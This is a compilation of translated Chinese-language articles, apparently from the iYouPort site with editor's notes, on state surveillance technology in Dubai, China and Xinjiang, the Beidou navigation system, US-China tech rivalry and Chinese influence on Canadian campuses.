为了说明海康威视技术的实力，该公司高管王先生以黄金时段警匪片的风格拍摄了6分钟的小电影。在影片中有一队中国警察，他们的声音被用美式英语配音，这堆警察使用该公司的产品套件追踪戴着黑色滑雪面具的偷珠宝的小偷。

警方最终使用微型监视镜头找到了嫌犯，并找到他的无牌车的图像，还搜索了过去几周经常出现在珠宝店附近的人，并汇总过去几周内公共场合的监视图像，找到了嫌疑人的脸部。

该嫌疑人此后试图通过拉低棒球帽躲避监视摄像机，但是这不起作用。

“将他加入犯罪数据库并跟踪他，”影片中的首席警官咆哮道。

在电影结束放映时，王告诉观众监控技术及其可以协同工作的方式，他说：这都是真实的 —— “不是科幻小说”。

“这不是一个制造商可以单独建造的系统，”他补充说，“如果用户和合作伙伴感兴趣，我很高兴今天能够来到这里。我们愿意开放合作。”

像海康威视这样的中国公司，已经从中国政府推动本土人工智能技术发展的计划中受益，并能够在中国公众身上测试他们的技术，也因此已经成为面部识别领域的大牌玩家。

总部位于香港的 SenseTime 是全球最“值钱”的人工智能创业公司之一，它向 BuzzFeed News 表示，它正在迪拜设立办事处 —— 这是该公司在亚洲以外的第一家办事处。

知情人士表示，“智能迪拜”（该市“智慧城市”权威机构）和 SenseTime 之间关于其面部识别产品实施的讨论正在取得进展。

Smart Dubai 表示去年在上海会见了 SenseTime，以确定合作的可能性。在被问及讨论时，SenseTime 表示无法披露“商业敏感信息”。

SenseTime 国际业务集团负责人 George Huang 在会议上表示，社交媒体的挖掘数据有助于为维稳目的提供信息。

他说，这些数据有助于 **SenseTime** 和全球其他**AI**公司培训算法来管理安全 **[**监视社会**]**。他补充说，像这样的数据对智能城市至关重要。

- 《所谓的智能城市全部危险都有哪些？》
- 关于 SenseTime 是什么东西《哪家公司正在帮助建立中国的圆形监狱？》《中国版老大哥的世界之旅》

SenseTime 的发言人表示，该公司“致力于公平和负责任地应用人工智能技术。除了遵守我们所在市场的当地法律法规外，我们还有内部流程来保护我们的技术，以确保以公平和负责任的方式使用它”。

⚠除了识别个人之外，这些视频分析平台还能够实时地提醒执法机构关于人群何时出现聚会。

⚠**IBM**、华为和其他公司展示了可以自动测量人群规模和特征的平台 —— 例如，标记某件衣、某人是否朝某个方向行走，或者某人是否徘徊了太久。

⚠像这样的视频分析平台可以很容易地粉碎抗议活动和其他和平集会。

IBM 的一位代表在会上迅速宣传该公司的 PowerAI Vision 平台的执法实用程序，称 **IBM** 希望将其出售给阿联酋的警察和安全部门。

IBM 的一位发言人指出，该平台无法识别单个面孔，只能在视频中标

记“对象”。该产品的演示展示了物体和人类的标签。

中国的 Huang 则将 SenseTime 的人群分析软件作为管理人群密度的关键。

他说，⚠该技术可以自动计算在场人数并分析安全水平、警告“异常行为”，包括一次聚集的人太多等等。

他补充说：“我们可以了解嫌疑人的出现时间、地点、犯罪方法、活动习惯和活动范围。”

SenseTime 产品的一个演示显示，被监视的人们身体周围出现了一个带有彩色编码圆圈的标记，例如，当他们徘徊太久时，或者发生“混乱”时。

迪拜的维稳服务和执法部门已经使用面部识别摄像机的程度 —— 以及使用步态识别、汽车识别、和数据分析等补充技术的程度 —— 目前尚不清楚，尽管分析师称其可能已被广泛使用。

迪拜监管机构针对维稳行业发布的要求规定，私人视频监控系统必须连接到名为 VideoGuard 的集中式系统，该系统允许迪拜警察随时访问。

⚠“今天的每一个会议中心、每一家酒店、每一条路，都布置了监视摄像机。阿联酋是如此，在美国也是如此，在中国和世界各地都是如此”，阿联酋人工智能部长 Omar Al Olama 在5月份对海湾新闻记者说。

根据采购记录，迪拜警方已经购买了许多用于车牌检测的技术，该技术比面部识别技术的出现要早得多。

作为 Oyoon 项目的一部分，迪拜已在至少一个名为 Al Muraqqabat 的城市社区安置了面部识别摄像头。

该城市位于迪拜东部，是一个相对密集的住宅区，也是购物商场和电影院的所在地。

行业分析师表示，面部识别摄像头和其他生物识别监控系统可能已在阿联酋广泛使用，包括在迪拜和阿布扎比，但当局尚未将其公之于众。*A police officer walks through a security tunnel at a technology exhibition at the Dubai World Trade Centre, October 2017.*

阿拉伯之春起义席卷中东以来的几年里，阿联酋投资了大量监视技术，该国过去常常监视其境内的活动家和持不同政见者，并在国外进行间谍活动。

- 《美国间谍帮助阿联酋侵犯人权一事提醒了什么》

⚠阿联酋和美国特工联合，攻击数百名活动家、记者和政治领导人的 iPhone。

“他们专注于预防性监视”，阿联酋国际自由运动的活动家 Joe Odell 说。

“这是关于通过建立广泛的监视状态来防止街头行动的控制手段，他们可以在抗议行动发生之前将任何事扼杀在萌芽状态。他们为此花了数百万英镑。”

人权活动人士说，酷刑在监狱系统中是很常见的。

由 BuzzFeed News 采访的几名前阿联酋囚犯因涉嫌泄露信息或“诽谤该国”而被监禁或拘留，他们说他们在监狱中遭遇过虐待和酷刑，包括殴打、电击和睡眠剥夺。

他们还说，⚠他们的虹膜被扫描、他们的指纹被拿走、他们的电子设备被没收 —— 包括美国在内的国家的囚犯也面临着这种待遇。

当被问及这些指控时，迪拜警方称该问题不属于他们的管辖范围。

巴勒斯坦计算机工程师 Ahmad 为一家由阿联酋政府高级官员控制的公司提供技术支持，而后在阿布扎比他被拘留几个月，没有任何解释。

他说他被蒙住眼睛并带到一个他现在仍然不知道是什么地方的秘密监狱。

在审讯期间 —— 警察似乎相信他可以获得敏感信息 —— 他被绑在电椅上，一次电击20秒钟，当他在痛苦中昏倒时，他们在他的脸上泼冷水，强迫他恢复意识。

Ahmad 说，警察做的第一件事就是没收他的手机和电脑。

警察要求密码，他给了警察不正确的密码，希望能够拖延时间。

但是审讯人员后来告诉他，无论如何他们都已经打开了这些设备。他说，他相信他们真的做到了无需密码破解—— 因为其中一名官员开始和他开玩笑，讲述一位女性朋友，就是在他手机上的照片。这位官员说，“她很性感”。

在他第一次被拘留五个月后，Ahmad 被蒙住眼睛，开车送回到阿布扎比的机场。

他被驱逐到黎巴嫩，没有任何解释。警察甚至道歉并告诉他，他是无辜的。

Ahmad 最终搬到了瑞典，他现在住在那里；在他成为瑞典公民之后，他开始撰写关于他在狱中的苦难。

阿联酋的前雇主给他发了一封信，他与 BuzzFeed News 分享了这封信，信中声称根据阿联酋的网络犯罪法可能会因涉嫌窃取该公司的机密信息而起诉他。

虽然他现在住在国外，但一直在警惕着自己的设备被监视的可能性。

去年，该国最著名的人权活动家之一 **Ahmed Mansoor** 被判处**10**年监禁，并因在 **Facebook** 和 **Twitter** 上发布的一些帖子被罚款约**27**万美元，法庭认定这些帖子“损害了阿联酋在国外的声誉及其“社会和谐统一”。

当局可以根据该国的网络犯罪法逮捕任何在互联网上发帖的人，该法禁止任何人在社交媒体上的所谓“诽谤言论”。

Mansoor 在他的推特账户中的陈述引起了全世界对整个中东地区侵犯人权行为的关注，他的政府一直在严密监视他，他的电子设备一直是间谍软件的攻击目标。

“Mansoor 毫不畏言他所做的事和他为什么这样做，但他非常清楚自己受到监视。他会在酒店大堂与人会面，但他会把手机放在家里，“曾在该地区为人权观察组织工作的研究员 Nicholas McGeehan 说。

“当局已经囚禁了所有这些人、或对其进行了恐吓，骚扰他们以令他们保持沉默”。

自由言论倡导者和前阿联酋囚犯说，对社交媒体的控制以及当局可能在窥探自己手机的认识已经让人感到脊背发冷。人权组织表示，他们

担心在物理空间中越来越多的监控技术可能会使问题变得更加严重。

“政府已表现出要压制一切和平反对的意愿和愿望，”公民实验室的 Marczak 说，他曾与 Mansoor 合作过。

“如果他们有强大的工具来跟踪你在户外的一举一动，并且他们有强大的间谍软件可以破解你家里的所有设备，那么你就几乎没有任何地方可以躲藏了。”〇

Face recognition has been banned in San Francisco and linked by Alexandria Ocasio-Cortez to a rise in global fascism. But it’s being marketed in Dubai, which has spied on hundreds of dissidents, by American and Chinese tech giants.

原文

高堡奇人新剧情是什么？北斗 - iYouPort

关于高堡奇人

中国正在开发一个价值 90 亿美元的竞争对手，以抵制美国运营的全球定位系统，以便在各国之间的紧张局势日益升级之后结束对 GPS 的依赖。

智能手机、导航系统和导弹使用的所有 GPS 卫星发送数据均由美国空军拥有和控制，因此全世界使用 GPS 服务都要依赖于美国。中国正计划通过开发北斗导航系统来推翻这种情况，该系统被认为是中国最大的太空计划之一。

北斗导航目前正在运作，服务于中国、其邻国和东亚国家，计划到 2020 年在全球范围内开放。该计划据称是习近平使中国成为“下一代技术世界领导者”使命的一部分。

中国希望公司使用与北斗导航系统兼容的产品生产半导体、飞机、电动汽车和其他东西，这个东亚国家今年已经发射了18颗卫星，本月有三颗卫星发射。中国已将北斗 GPS 计划的卫星总数增加到了 40 个。该国计划到 2020 年再发射11颗卫星。

中国的北斗计划始于20世纪90年代，到 2020 年，中国将耗资 89.8 亿美元至 106 亿美元。

与提供精确度为 2.2 米的美国GPS相比，如果使用地面支持系统，北斗 GPS 自称将提供1米或更低的精度 。总部位于北京的芯片供应公司四维图新（NavInfo）自9月起开始向特斯拉（Tesla Inc.）和拜捷汽车（Bayerische Motors）提供北斗连接芯片，预计每年需要 1500 万北斗兼容芯片。

高通公司是最大的芯片制造商，提供用于智能手机的芯片组，该公司已经在使用北斗链接芯片。智能手机行业的一些知名企业，如三星和华为，都是中国的原始设备制造商，在智能手机中兼容北斗。

中国政府还责令所有汽车制造公司在未来两年内制造与北斗兼容的汽车导航系统。总的来说，中国有很大的计划，即 使北斗成为全球可用

的定位系统。

- 关联：请注意上周末的这则报道，⚠ 超过 200 家制造商，包括特斯拉、大众、宝马、戴姆勒、福特、通用汽车、日产、三菱和美国上市的电动汽车初创企业 NIO，都在向中国政府支持的监控中心和数十个其他数据点传输位置信息。《政府监视公民一举一动，公民无动于衷》

China is developing a $9 billion rival to American-run GPS to end its dependence on it after tension between the countries are growing by the day. The Beidou Navigation is currently functional and serves China, and its neighbors and the East Asian nation plans on making it accessible worldwide by 2020.

原文

高堡奇人的美方剧本 - iYouPort

关于高堡奇人

印度是高堡奇人争霸战的重点

谷歌再次通过收购 Sigmoid Labs 激起了对印度次大陆的兴趣，这是印度最受欢迎的火车追踪应用程序“我的火车在哪”背后的公司。

该应用程序拥有1000万注册用户，还提供在线购票的工具。印度拥有庞大的铁路网络，全国每天有近14,000列火车运营。

“我的火车在哪”是一款 Android 应用程序，可以在没有互联网的情况下工作。该应用程序支持八种不同的语言，并有 RailYatri 和 iXigo 等公司的支持。该应用程序的官方网站宣布收购，但没有透露交易金额。然而，据“经济时报”报道，谷歌通过支付 3000 万至 4000 万美元达成了协议。该应用程序此前也引起了中国智能手机制造商小米的兴趣。

谷歌收购该应用程序打开了对该公司印度计划及其如何使用该应用程序的猜测。 Google 可以将应用的功能集成到 Google 地图中。

这并不是谷歌第一次表现出对在印度建立地盘的兴趣。此前，该公司推出了一款名为 Google Areo 的点播应用程序，这是一款名为 Google Pay 和 Neighborly 的移动支付应用程序，是一款用于分享本地知识的问答应用程序。

- 延伸阅读：南方国家市场已经接近饱和了，这就是为什么谷歌垂涎中国和印度的原因之一，可参考这篇数据分析《谷歌将死于什么？》

Google has yet again piqued its interest in the Indian subcontinent by acquiring Sigmoid Labs, the company behind India’s most popular train tracking app ‘Where Is My Train.’

原文

高堡奇人的闹剧可能需要站在影院外面看 - iYouPort

关于高堡奇人

对于美中地缘政治游戏的围观者们来说，华为首席财务官孟在加拿大逮捕一事应该成为其他科技行业的警钟。此事也凸显了世界两个超级大国之间不断升级的技术竞赛和混合冷战。

华盛顿和北京现在处于历史转折点，所谓“国家安全”优先事项正在推动政策，这将导致美国和中国的利益进一步脱钩，反过来，也将导致科技行业的全球价值链进一步分裂。

科技公司—或任何依赖尖端技术的公司—都需要围绕两个关键因素来衡量其风险环境：首先，如何应对一系列破坏性政策措施，如出口管制、制裁、封锁收购和封锁技术转让。第二，如何最大限度地减少现有技术生态系统解体带来的损害。

北京的挑衅性技术议程

本次比赛的核心是中国制造 2025 计划，这是一个北京希望在人工智能、机器人、航空航天和其他行业领导世界的战略。

中国在技术能力方面的快速发展在许多角度上都在给华盛顿及其盟友制造麻烦。例如，自 2017 年以来，北京一直在创建一个导航卫星图，以与美国的 GPS 相媲美。仅在 2018 年，就发射了11颗“北斗卫星”，其中一些卫星的发射间隔只有17天。

- 延伸阅读：《高堡奇人新剧情是什么？北斗》

北京现在可以向其合作伙伴提供曾经是美国主导的全球定位系统的替代版本，从而破坏华盛顿在该领域的地缘政治垄断，并且可以利用北斗计划从其客户国家中获取让步，例如迫使他们购买更多中国数字基础设施和设备的协议。

在赢得 5G 标准之战的竞争中，中国正在利用其 6.5 亿移动互联网用

户及其沿着数字“一带一路”规划的基础设施来扩大其全球影响力。

- 延伸阅读：《中国如何将老大哥输出全球：灾年之畔》

为了实现自给自足并减少对国外半导体技术的依赖，据报道，北京正在向国家集成电路产业基金投资 315 亿美元，还有其他基金。

最近，北京的焦点越来越多地转向所谓的“军民融合”。最近，一系列国家支持的风险投资基金将科技创业公司和其他私营公司与人民解放军联合起来。例如，2017 年，Foshan 军民创新产业基金的发起额达到了 287.5 亿美元。

华盛顿的技术反攻

美国国防部（DOD）现在正式将中国列为“对手”。也就是正式承认了高堡奇人。国防部最近的一份报告列出了战略重点的关键领域，包括北京利用技术实现军队现代化的努力，以及利用“一带一路”倡议进一步提升其经济影响力的计划。这引起了华盛顿及其他地区的一种流行叙事，即 中国的战略野心需要面对和遏制。因此，企业应该看到减少对中国公司的技术转让、阻止交易（例如华为被禁止在美国、澳大利亚、可能还有英国和日本之外）以及将目标个人和公司安置在制裁名单上。

当然，华盛顿及其盟友所有这些动作是否都会产生预期的结果是值得商榷的。

8月通过的“美国出口管制改革法案”将导致出口管制清单的扩大。对广泛的所谓双重用途技术将有新的出口许可要求—— 定义为可用于商业和军事目的的技术。

在数字经济中，这将影响广泛的行业：机器人，人工智能，自动驾驶汽车，面部识别技术等。影响可能很普遍，会对外国企业造成附带损害。

中国智能手机制造商中兴通讯是一个警示故事。它依赖于美国技术的微芯片和 Android 操作系统软件等组件，凸显了中国对外国供应商的依赖。

中国最大的面部识别监控设备制造商海康威视可能遭遇类似中兴通讯的命运，因为美国政府威胁要禁止硅谷芯片制造商出售其美国技术。然而，与中兴通讯不同，当华盛顿同意放弃技术禁令时该公司避免了可能的崩溃，海康威视可能不会那么幸运。（编者：最后这句话错

了，为中国大型“集中营”提供监控摄像头的中国科技巨头海康威视 Hikvision 得到了美国朋友的大力帮助。公关巨头博雅公关公司(Burson-Marsteller)在帮助海康威视的美国子公司完成“战略规划和指导”等任务。游说公司 Sidley Austin 任命前14届国会议员 Rick Boucher (D-Va.) 帮助海康威视公司反击美国对他们的监控摄像头的禁止，更多详见这里）

中国的主要致命弱点仍然是对外国半导体技术的依赖。北京制造 2025 计划的每个领域都在高度依赖于外资的集成电路技术，其中大部分来自五家美国大型制造商：AMD，英特尔，美光，Nvidia 和高通。

即使是 Yangtze Memory，北京的国家资助的全国冠军，最近宣布它已开发出最先进的 64 层3D NAND 闪存芯片，大规模生产所需的关键早期设备将完全依赖于—外国公司。主要合作伙伴是 Applied Materials 和 KLA-Tencor 公司，全是美国公司。

所有这些因素都使全球科技行业处于非常脆弱的地位。美国出口管制的增加，限制或阻止美国技术的获取可能会对北京的地缘政治目标造成重大冲击。但是，其他外国公司也将因此遭受明显的附带损害，因为这相当于强迫他们站队。

例如，在过去三十年中，上述美国公司已在中国投资数十亿美元用于合作企业和生产设施。对于所有世界领先的半导体公司来说，中国很快将成为他们最大的市场。

据普华永道全球战略小组称，2017 年在中国花费的企业研发（R＆D）资金中有80％来自非中国跨国公司。理清这些生态系统将需要消除复杂的相互交织的关系，在全球价值链中可能带来沉重的经济和金融后果。（本文来自 *forbes*，作者 *Alex Capri* 是商学院教授）

How A Growing U.S.-China Rivalry Is Reshaping The Global Tech Landscape? Washington and Beijing are now at a historical tipping point, and national security priorities are driving policies that will lead to further decoupling of American and Chinese interests. This, in turn, will lead to further fragmentation of global value chains in the tech sector.

原文

“入侵”加拿大 - iYouPort

中国-半壁高堡奇人关于中国社会

警惕超级大国总是明智的。但中国的行动引起的怀疑已经达到了全新的水平。当大熊猫外交、游说和政治宣传不再起效时，”超级大国”会做些什么？

「图」

「图」

当大熊猫外交、游说和政治宣传不再起效时，“超级大国”会做些什么？

如果你是日益专制的中国领导者，你采取钳制的方法，尤其是对自己的人民；你在自己的国家和异国他乡施加了一个更加精细的监视、监督和压力系统；你指挥海外“特遣队”，包括在加拿大的中国学生，攻击不同意见的演讲者；突然把两个加拿大人扔进了中国的秘密隔离牢房，指责他们进行间谍活动。

你开发了一个侵入式的手机应用程序，并确保你的执政党9000万成员中的大多数人都要下载使用；你从中国数百万维吾尔族穆斯林那里采集DNA样本，因为遗传学可以用来追踪他们的行动；你欺负国内外的中国记者，避免他们说出真相。

这样做会有效。

无论哪种政权沉迷于压迫性的游戏中，国家恐吓和电子监视都可以非常有效。

而且不仅仅是中国。在加拿大，更经常发生的是伊朗政权的全球代理人，他们监视着这个国家焦虑的波斯侨民。今年，沙特阿拉伯还通过一个高科技的应用程序扩大了监视能力，男性监护人可以通过该应用程序跟踪沙特女性在国外的一举一动。

当人们知道或担心自己正在被技术老大哥或国家的秘密特工监视时，他们只能变得更加紧张和顺从。

唯一的希望是，这种警惕的文化并不总是有效。 B.C专攻亚洲问题的教授告诉我，校园里有一种明显的征服文化。

这位教授遇到的中国留学生中的大多数人都有强烈的自我审查。他们不会谈论有关中国的可能有争议的事件；他们不会在课堂上说话。一些爱国者认为，他们有责任批评教授发布的“不利于中国”的材料；一些人则私下悄悄向教师表达感谢关于“有机会听到了真相”。

“然而，大多数情况下，我发现我的本科生对政治特别的没兴趣，并为自己国家的崛起感到自豪，”这位教授说，他和许多中国学术专家一样，不愿透露姓名。温哥华地区的校园接待了整个加拿大180,000多名中国学生中的近50,000名。

这位教授说，在加拿大的这些讲普通话的学生是“中国崛起的主要受益者”。“他们期待的是稳定，对任何批评都持谨慎态度。他们决定谨慎行事，这意味着他们可能正在受到监视。“

如果这对于来自中国的学生来说是一个直截了当的现实，想象一下美国和安大略省的一些校园是如何做的，这些校园爆发了愤怒的亲中国活动。

国家邮报记者 Tom Blackwell 报道了中国最近对加拿大事务的干涉。他挖掘了多伦多大学校长 Chemi Lhamo 如何被**11,000**名中国学生签署的请愿书抨击的内幕，这些学生要求她被解职。**Lhamo** 是一名来自西藏的加拿大公民，也是数百个仇恨文本的攻击目标，多伦多警方正在调查这些文本是否可能的犯罪威胁。

2月份在汉密尔顿的麦克马斯特大学发生了类似的对抗，五个中国学生团体抗议该大学决定为一名穆斯林维吾尔族背景的加拿大公民提供一个平台。鲁基耶·图尔杜什（Rukiye Turdush）曾描述过中国对100多万维吾尔人的人权侵犯行为。

仇恨和骚扰正在升级。即使是长期以来来自中国的加拿大贸易和投资支持者也会大吃一惊。 Ng Weng Hoong 是亚太能源行业的评论员，他一直在强烈批评B.C.的外国购房者税和加拿大主权的其他表现形式。

但是 Ng 最近在中国的数字媒体上的一篇文章中承认，安大略省的中

国抗议者“可能会将加拿大人对中国的态度转变为对越来越大的中国影响力威胁的彻底蔑视和愤怒”。

Ng 指出，中国驻渥太华大使馆支持那些侵略性的抗议者，这当然没有帮助。 他说，“中国学生破坏言论自由，破坏加拿大民主的故事，只会助长这种爆炸性的指责。”

中国正在加大宣传和监视的力度。习近平试图通过一个令人眼花缭乱的新应用来控制追随者，中国共产党成员被要求积极参与其中。
据“纽约时报”报道，中国一直在收集数百万维吾尔族穆斯林的DNA，用来追踪那些尚未被送往“再教育”营的人。

中国的压力策略也影响到了新闻业。“经济学人”报道说，来自中国的学生正试图加入香港的新闻学校，但是这些学生的父母警告他们不要加入揭露真相的事业，这将导致暴露中国的不法行为，可能导致对整个家庭的严厉报复。

在加拿大媒体领域，也有越来越多的报道显示，在这个国家的各种新闻媒体上讲中文的中国记者正在与中国官员会面，导致一些中国记者要求编辑删除有关中国及其众多海外投资者的报道。

警惕超级大国总是明智的。但中国的行动引起的怀疑已经达到了全新的水平。与美国的全球心理战相比，他们至少还能赢得世界一些勉强的认同，然而中国的监视策略使得该国几乎不可能在任何有吸引力的状态下发展其软实力。

China’s long surveillance arm thrusts into Canada. State intimidation and electronic surveillance can be highly effective. It’s affecting China’s 180,000 students in Canada, as well as journalists.

原文

"整个系统旨在压制我们"：中国监视国家对世界意味着什么 - iYouPort

中国-半壁高堡奇人

我们不太喜欢这篇报道

「图」

「图」

编者按：我们不太喜欢这篇报道。它和大多数企业媒体的报道一样，存在两个突出的特性：1、一谈起中国的大规模监视便重点强调新疆和香港，而对中国大陆最大范围的人口所遭受的几乎一样的监视水平轻描淡写；2、提及中国大陆时经常引述那些支持监视技术布设的舆论，而忽视抵制者。

这无疑会引起误解。从外界看来似乎“中国大陆人不反对监视技术”，这不是事实 。

尤其是，中国之所以能有如此强大的监视技术能力，"究竟是在谁的帮助下"？这一问题在几乎所有企业媒体的报道中被忽略；我们认为这是严重的错误。

但我们依然翻译了它，并添加和编辑了一些内容；因为这篇文章代表了“主流”企业媒体的倾向，下次再读到类似的文章时，您应该能迅速识别出其中缺失的内容。

‘The Entire System Is Designed to Suppress Us.’ What the Chinese Surveillance State Means for the Rest of the World

每天早晨，陈太太都穿着鲜艳的紫色太极服与洪门武术团的十几名成员一起在重庆江南体育馆外练习。就在几个月前，由于她急于参加剑舞表演，而丢了钱包。“幸运的是”，一名警卫通过监视摄像头注意到了那个钱包落在公共广场上。他把钱包放到了失物招领处，然后找到了陈太太。

陈女士说："要不是因为有这些监视相机，钱包可能就被人偷了 …… 到处都有这些监视相机，让我感到安全。"

重庆是全世界范围内监视最密集的城市之一。在下面看到报告：

- 《美国和中国在监视公民方面引领全球》

「图」

「图」

根据技术研究网站 Comparitech 最近的分析，横跨长江和嘉陵江的地带有1535万人口居住，在2019年此地拥有258万台监控摄像头。坦率地说，这是奥威尔式的比例，即：每5.9名公民配有一台CCTV监视摄像机。

整个城市的一举一动都在监视摄像机的视野之内。摄像机栖息在人行道上、悬停在繁忙的十字路口，并在购物区上方旋转。

但是重庆绝不是唯一的。根据 Comparitech 的数据，在全球监测最多的10个城市中，有8个在中国，这个全球第二大经济体推出了无与伦比的社会控制体系。

面部识别软件不仅用于抓捕罪犯，而且还用来羞辱闯红灯的行人。今天的中国预示着当监控不受限制地扩散时整个社会会变成什么样。

全世界都在追求监视技术 —— 在以人工智能为动力的面部识别技术的迅猛发展下，监视已成为大多数发达社会日常生活的一部分。

- 英国《"社会信用"监视：英国、中国、美国和日本》
- 印度《全球最大的民主国家也是全球最大的监视国家》
- 美国《来自中国和美国的政府监视：7个危险的用例》
- 美国《数字威权主义的崛起：特朗普的鼓舞和美国盟友的积极》
- 中国《中国的反乌托邦监视国家是美国制造的》
- 海湾《生活在现代监控状态下是什么感觉？欢迎来到迪拜》

中国正在将其人工智能驱动的监视技术出口给世界各地的独裁政府。自由之家2018年的一份报告显示，中国公司正在向从委内瑞拉至津巴布韦的至少18个国家提供高科技监视工具。在下面看到报告中文版：

- 《数字威权主义的兴起: 灾年之畔》

香港中文大学的隐私专家 Lokman Tsui 说："当今的经济商业模式都鼓励人们共享数据。" 而在中国，我们看到了 "当国家追寻这些数据以对其进行利用和武器化时，会发生什么。"

联合国称，在陈女士找到钱包的西北方约1500英里处，对中国动荡的新疆地区的监视使大约100万人进入了类似于集中营的"再教育中心"。

- 《开源调查图解新疆"再教育"营》

许多人被通过计算机算法逮捕、审判和定罪，这些算法是根据监视摄像机收集的数据得出的（在某些地区每20步就装有一台监视摄像机）。

- 《一旦您的影像被监视摄像头捕获，会发生什么？》
- 《算法是如何侵犯你的—5个纪录片》
- 《算法专制》
- 《媒体巨头和硅谷的武器化算法沉默异议》
- 《算法殖民：从不知所云的流行语到金钱驱动的流行病》

人们被迫交出照片、指纹、DNA、血液和声音等生物特征数据，这一切都是在所谓的 "反恐" 的借口之下。

根据人权观察组织的逆向工程，警察配备了一个智能手机应用程序，该应用程序随后会自动标记某些行为。那些留着胡须、通过后门离开家、或参观清真寺的人经常被系统标记为红色，并受到讯问。

- 《中国迫使游客安装监视恶意软件》

现年45岁的 Sarsenbek Akaruli 是新疆伊犁的商人，他于2017年11月2日被捕，根据他的妻子 Gulnur Kosdaulet 的说法，警方在他的手机上发现了被禁止的短信应用程序 WhatsApp，现在他仍在拘留营中。

他的妻子是邻国哈萨克斯坦的公民，曾四次前往新疆寻找丈夫，但没人愿意帮她。她告诉《时代》周刊："没人愿意冒着被安保摄像机记录下来的风险"。

- 《维族妇女对战中国的监视国家》

监视控制着营地生活的各个方面。 47岁的 Bakitali Nur 是新疆城镇霍尔果斯的水果和蔬菜出口商，在当局对他频繁出国出差表示怀疑之后被捕。

这位三个孩子的父亲说，他和另外七个囚犯在一个房间里呆了一年，所有的囚犯都穿着蓝色连身裤，被迫在塑料凳子上坐17个小时，四个海康威视监视摄像机记录他们的每一步动作。

Bakitali 患上慢性病后才被释放。但是，他又继续遭到了连续五个多月的软禁，这在前被拘留者中很普遍。

他无法离开村庄，就在他家对面也被安装了监视摄像机。每次他走到前门时，一名警察都会打电话问他要去哪里。

他每天必须向当地政府机关报告，接受“政治教育”，并写了一篇自我批评，详述他前一天的活动。

据《时代》杂志采访的工人称，由于无法上班，像 Bakitali 这样的前被拘留者经常不得不在政府工厂辛苦劳作，每天的工资只有35美分。

“整个系统都是为了压制我们，” Bakitali 说。

结果就是真正的反乌托邦。新疆的穆斯林人口不断受到压力，被要求采取中共批准的生活方式。

虽然在网上发布敏感材料显然是不被允许的，但完全不使用社交媒体也会被视为可疑，于是人们分享有关国家和政党的最新消息，作为防御手段。

现在，家庭和企业有义务展示中国国家主席习近平的照片，类似于朝鲜人挂金日成照片的那种方式。

当被问及为什么他的出租车上有习近平的照片时，一名维吾尔族司机紧张地回答：“这是法律。”

除了监视摄像机外，人们还必须注册自己的身份证号才能进行日常活动，例如租借卡拉OK亭。

在新疆南部的绿洲小镇和田，甚至在当地农产品市场上都设有面部识别亭。当监视系统难以识别这位西方记者的面容时，排队在后面的不耐烦的汉族妇女指责操作员：“快点，他不是维族人，让他过去吧。”

中国坚决否认新疆的侵犯人权行为，声称其监视利维坦是与 “分裂主义、恐怖主义和极端主义”的“三大罪恶”作斗争。

但是，这种情况在美国被描述为“恐怖的镇压运动”，并遭到联合国的

谴责。华盛顿还开始制裁像 HikVision 这样的公司，其面部识别技术在阿拉斯加无处不在。

西方人对监视的反感更为广泛，并且在很大程度上起因于诸如 Facebook / Cambridge Analytica 之类的丑闻。这些阴暗的公司在全球范围内操纵选举。

- 关于高科技选举操纵《心理操纵的秘密：”行为经济学”＋PR＝？》

「图」

「图」

中国的少数派报告监视体系 “社会信用评分” 已经全面推行，旨在塑造每个人的行为符合当权者的理想。

在拥有67万人口的中国东部沿海城市荣成，每个人自动获得1000分。与邻居吵架会扣掉您5分；宠物狗打扫得不干净就会被扣掉10分。无偿献血得5分。当分数降至某个阈值以下时就将无法获得贷款或预订高速火车票。

- 关于 “社会信用”《又一个被漠视的深渊》
- 《全球政权如何利用技术和贫困奴役人民？暴政背后的黑手》
- 《“深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视》
- 《监视操纵社会：中国尝试通过社会信用系统改变社会行为》
- 《西方社会距离中国式的”社会信用体系”监控还有多远？》
- 《中国推出”超级监控摄像机”辅助社会信用评分》
- 《“社会信用”监视：英国、中国、美国和日本》
- 《胡萝卜：中国当局大举奖励最顺从的公民》

而一些中国人却从中看到了监视的好处。 42岁的高中老师朱俊芳（Jun Junfang）分数较高，享受着诸如打折暖气费和改善医疗保健等福利。

她说：“由于实行了社会信用制度，车辆礼貌地让行人过马路，在最近的一场大风雪中，人们自愿清理积雪，以赚取额外的积分 ……”

每一种暴政都是被允许的暴政。如果没有人民的允许，恶权就无法存在。

在西方大多数国家，这种侵略性的政府是令人厌恶的，人们对监视的厌恶已经变得更加广泛和深刻。

无论是互联网浏览历史记录、上传到社交媒体的自拍照、从健身追踪器清除的数据、还是可能记录了最亲密的卧室对话的智能家居设备 ……每个人的一切都被置于这个“监视经济”的大环境中。

Shoshana Zuboff 在她的《监视资本主义时代》一书中将其描述为“将人类经验[分解为数据]作为免费的原材料用于提取、预测和销售的商业实践。”

- 在我们的专栏中看到完整的 “监视资本主义” 是什么
- 在这里下载《监视资本主义时代》这本书的电子版：https://t.me/iyouport/6559
- 国际特赦组织承认《谷歌和Facebook是侵犯人权者》这里是报告

当涉及面部识别时，由于不分青红皂白的数据采集具有巨大的潜力，因此抵抗力很强。

除了隐私问题之外，还有平等问题。根据麻省理工学院媒体实验室的一项研究，面部识别软件可以在99%到100%的时间内正确识别出白人男性，但是对于有色人种和女性来说，这一比例低至65%。

公民自由组织尤其对此感觉不安，因为尽管面部识别被美国警察广泛使用，但在随后的法庭文件中却很少被引用为证据。

即便在中国，人们对隐私的担忧也在不断上升。去年，已经有一位中国教授起诉了野生动物园采取的面部识别要求。见：

- 《“抵制面部识别”：中国教授起诉野生动物园》

在重庆，一项在15,000辆出租车中安装监控摄像头的规定遭到了司机们的强烈反对。“现在我不能拥抱我的女朋友了，也不能骂我的老板”，一位司机抱怨说。

在香港的抗议活动中，示威者在通过闭路电视摄像机或社交媒体被识别后，便发现自己处于十字准线中。人们采取了各种措施以抵制监视。

- 《香港的抗议活动中再次强调了你的脸如何成为武器》

抗议者戴上头盔、口罩和反光镜，为对峙做好准备；在拆除监视器之前人们用雨伞遮盖摄像头、用激光笔扰乱监视功能。

抵御摄像头的监视只是所有自我保护反应之一。 22岁的抗议者马修（Matthew）在出门之前总是把自己的手机留在家中，只带一次性手机。

他很少重复使用手机，因为每个手机都有一个唯一的“国际移动设备身份码”，他说警察可以追踪该序列号。

他还在不同的VPN之间进行切换，并使用现金或无法追踪的一次性信用卡为抗议相关的交易付费。他说，语音电话只能作为最后的手段。

